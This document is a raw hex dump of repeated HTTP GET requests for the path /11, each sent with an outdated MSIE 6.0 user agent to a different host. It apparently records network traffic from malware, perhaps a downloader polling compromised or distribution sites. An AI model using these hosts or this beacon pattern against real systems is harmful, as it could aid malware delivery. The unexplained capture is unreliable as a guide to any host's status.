0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206368   50727)..Host: ch
0x000000a0 (00160)   72697377 6f6c662e 62650d0a 436f6e6e   riswolf.be..Conn
0x000000b0 (00176)   65637469 6f6e3a20 4b656570 2d416c69   ection: Keep-Ali
0x000000c0 (00192)   76650d0a 0d0a702d 416c6976 650d0a0d   ve....p-Alive...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a20636f   50727)..Host: co
0x000000a0 (00160)   6c6f7263 6f707973 6974652e 636f6d0d   lorcopysite.com.
0x000000b0 (00176)   0a436f6e 6e656374 696f6e3a 204b6565   .Connection: Kee
0x000000c0 (00192)   702d416c 6976650d 0a0d0a76 650d0a0d   p-Alive....ve...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206d61   50727)..Host: ma
0x000000a0 (00160)   73686861 64736972 2e636f6d 0d0a436f   shhadsir.com..Co
0x000000b0 (00176)   6e6e6563 74696f6e 3a204b65 65702d41   nnection: Keep-A
0x000000c0 (00192)   6c697665 0d0a0d0a 0a0d0a76 650d0a0d   live.......ve...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a20616b   50727)..Host: ak
0x000000a0 (00160)   69726b70 61747269 636b2e63 6f6d0d0a   irkpatrick.com..
0x000000b0 (00176)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000c0 (00192)   2d416c69 76650d0a 0d0a0a76 650d0a0d   -Alive.....ve...
0x000000d0 (00208)   0a                                    .

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a207777   50727)..Host: ww
0x000000a0 (00160)   772e616d 656c6961 732d6465 636f7261   w.amelias-decora
0x000000b0 (00176)   74696f6e 2e6e6c0d 0a436f6e 6e656374   tion.nl..Connect
0x000000c0 (00192)   696f6e3a 204b6565 702d416c 6976650d   ion: Keep-Alive.
0x000000d0 (00208)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206e65   50727)..Host: ne
0x000000a0 (00160)   74766965 7470726f 2e636f6d 0d0a436f   tvietpro.com..Co
0x000000b0 (00176)   6e6e6563 74696f6e 3a204b65 65702d41   nnection: Keep-A
0x000000c0 (00192)   6c697665 0d0a0d0a 702d416c 6976650d   live....p-Alive.
0x000000d0 (00208)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206775   50727)..Host: gu
0x000000a0 (00160)   61656d70 72657361 732e636f 6d0d0a43   aempresas.com..C
0x000000b0 (00176)   6f6e6e65 6374696f 6e3a204b 6565702d   onnection: Keep-
0x000000c0 (00192)   416c6976 650d0a0d 0a2d416c 6976650d   Alive....-Alive.
0x000000d0 (00208)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206861   50727)..Host: ha
0x000000a0 (00160)   79617472 656b6c61 6d2e6e65 740d0a43   yatreklam.net..C
0x000000b0 (00176)   6f6e6e65 6374696f 6e3a204b 6565702d   onnection: Keep-
0x000000c0 (00192)   416c6976 650d0a0d 0a2d416c 6976650d   Alive....-Alive.
0x000000d0 (00208)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206163   50727)..Host: ac
0x000000a0 (00160)   656e6265 722e7362 6b6d6c2e 6b31322e   enber.sbkml.k12.
0x000000b0 (00176)   74720d0a 436f6e6e 65637469 6f6e3a20   tr..Connection: 
0x000000c0 (00192)   4b656570 2d416c69 76650d0a 0d0a650d   Keep-Alive....e.
0x000000d0 (00208)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a20686f   50727)..Host: ho
0x000000a0 (00160)   772d6861 796f6e77 79652e63 6f6d0d0a   w-hayonwye.com..
0x000000b0 (00176)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000c0 (00192)   2d416c69 76650d0a 0d0a0d0a 0d0a650d   -Alive........e.
0x000000d0 (00208)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206963   50727)..Host: ic
0x000000a0 (00160)   6f6e7365 72766963 65732e62 697a0d0a   onservices.biz..
0x000000b0 (00176)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000c0 (00192)   2d416c69 76650d0a 0d0a0d0a 0d0a650d   -Alive........e.
0x000000d0 (00208)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206964   50727)..Host: id
0x000000a0 (00160)   6564652e 73626b6d 6c2e6b31 322e7472   ede.sbkml.k12.tr
0x000000b0 (00176)   0d0a436f 6e6e6563 74696f6e 3a204b65   ..Connection: Ke
0x000000c0 (00192)   65702d41 6c697665 0d0a0d0a 0d0a650d   ep-Alive......e.
0x000000d0 (00208)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a207777   50727)..Host: ww
0x000000a0 (00160)   772e7463 72776861 72656e2e 686f6d65   w.tcrwharen.home
0x000000b0 (00176)   70616765 2e742d6f 6e6c696e 652e6465   page.t-online.de
0x000000c0 (00192)   0d0a436f 6e6e6563 74696f6e 3a204b65   ..Connection: Ke
0x000000d0 (00208)   65702d41 6c697665 0d0a0d0a e97f       ep-Alive......

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206563   50727)..Host: ec
0x000000a0 (00160)   322d3130 372d3230 2d323431 2d313933   2-107-20-241-193
0x000000b0 (00176)   2e636f6d 70757465 2d312e61 6d617a6f   .compute-1.amazo
0x000000c0 (00192)   6e617773 2e636f6d 0d0a436f 6e6e6563   naws.com..Connec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a0d0a e97f                         ......

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a207777   50727)..Host: ww
0x000000a0 (00160)   772e6465 72696c65 712e636f 6d2e6d78   w.derileq.com.mx
0x000000b0 (00176)   0d0a436f 6e6e6563 74696f6e 3a204b65   ..Connection: Ke
0x000000c0 (00192)   65702d41 6c697665 0d0a0d0a 6e6e6563   ep-Alive....nnec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a0d0a e97f                         ......

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206961   50727)..Host: ia
0x000000a0 (00160)   696d7269 63682e63 6f6d0d0a 436f6e6e   imrich.com..Conn
0x000000b0 (00176)   65637469 6f6e3a20 4b656570 2d416c69   ection: Keep-Ali
0x000000c0 (00192)   76650d0a 0d0a7665 0d0a0d0a 6e6e6563   ve....ve....nnec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a0d0a e97f                         ......

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206a6f   50727)..Host: jo
0x000000a0 (00160)   79736365 6e746572 2e636f6d 0d0a436f   yscenter.com..Co
0x000000b0 (00176)   6e6e6563 74696f6e 3a204b65 65702d41   nnection: Keep-A
0x000000c0 (00192)   6c697665 0d0a0d0a 0d0a0d0a 6e6e6563   live........nnec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a0d0a e97f                         ......

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206a6f   50727)..Host: jo
0x000000a0 (00160)   7369702d 73746164 6c65722e 6f72670d   sip-stadler.org.
0x000000b0 (00176)   0a436f6e 6e656374 696f6e3a 204b6565   .Connection: Kee
0x000000c0 (00192)   702d416c 6976650d 0a0d0a0a 6e6e6563   p-Alive.....nnec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a0d0a e97f                         ......

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a207777   50727)..Host: ww
0x000000a0 (00160)   772e6b61 6c6b616e 747a616b 6f732e63   w.kalkantzakos.c
0x000000b0 (00176)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x000000c0 (00192)   4b656570 2d416c69 76650d0a 0d0a6563   Keep-Alive....ec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a0d0a e97f                         ......

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206669   50727)..Host: fi
0x000000a0 (00160)   6c65732e 6b617261 6d656c6c 6173612e   les.karamellasa.
0x000000b0 (00176)   67720d0a 436f6e6e 65637469 6f6e3a20   gr..Connection: 
0x000000c0 (00192)   4b656570 2d416c69 76650d0a 0d0a6563   Keep-Alive....ec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a0d0a e97f                         ......

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a203931   50727)..Host: 91
0x000000a0 (00160)   2e39392e 3130322e 3135340d 0a436f6e   .99.102.154..Con
0x000000b0 (00176)   6e656374 696f6e3a 204b6565 702d416c   nection: Keep-Al
0x000000c0 (00192)   6976650d 0a0d0a69 76650d0a 0d0a6563   ive....ive....ec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a0d0a e97f                         ......

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206b72   50727)..Host: kr
0x000000a0 (00160)   7074622e 6f72672e 74720d0a 436f6e6e   ptb.org.tr..Conn
0x000000b0 (00176)   65637469 6f6e3a20 4b656570 2d416c69   ection: Keep-Ali
0x000000c0 (00192)   76650d0a 0d0a0a69 76650d0a 0d0a6563   ve.....ive....ec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a0d0a e97f                         ......

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206c65   50727)..Host: le
0x000000a0 (00160)   67726166 662e636f 6d2e7472 0d0a436f   graff.com.tr..Co
0x000000b0 (00176)   6e6e6563 74696f6e 3a204b65 65702d41   nnection: Keep-A
0x000000c0 (00192)   6c697665 0d0a0d0a 76650d0a 0d0a6563   live....ve....ec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a0d0a e97f                         ......

0x00000000 (00000)   47455420 2f313120 48545450 2f312e31   GET /11 HTTP/1.1
0x00000010 (00016)   0d0a4163 63657074 3a202a2f 2a0d0a41   ..Accept: */*..A
0x00000020 (00032)   63636570 742d456e 636f6469 6e673a20   ccept-Encoding: 
0x00000030 (00048)   677a6970 2c206465 666c6174 650d0a55   gzip, deflate..U
0x00000040 (00064)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000050 (00080)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000060 (00096)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000070 (00112)   6e646f77 73204e54 20352e31 3b205356   ndows NT 5.1; SV
0x00000080 (00128)   313b202e 4e455420 434c5220 322e302e   1; .NET CLR 2.0.
0x00000090 (00144)   35303732 37290d0a 486f7374 3a206a69   50727)..Host: ji
0x000000a0 (00160)   6579692e 636f6d2e 61720d0a 436f6e6e   eyi.com.ar..Conn
0x000000b0 (00176)   65637469 6f6e3a20 4b656570 2d416c69   ection: Keep-Ali
0x000000c0 (00192)   76650d0a 0d0a0d0a 76650d0a 0d0a6563   ve......ve....ec
0x000000d0 (00208)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000e0 (00224)   0d0a0d0a e97f                         ......

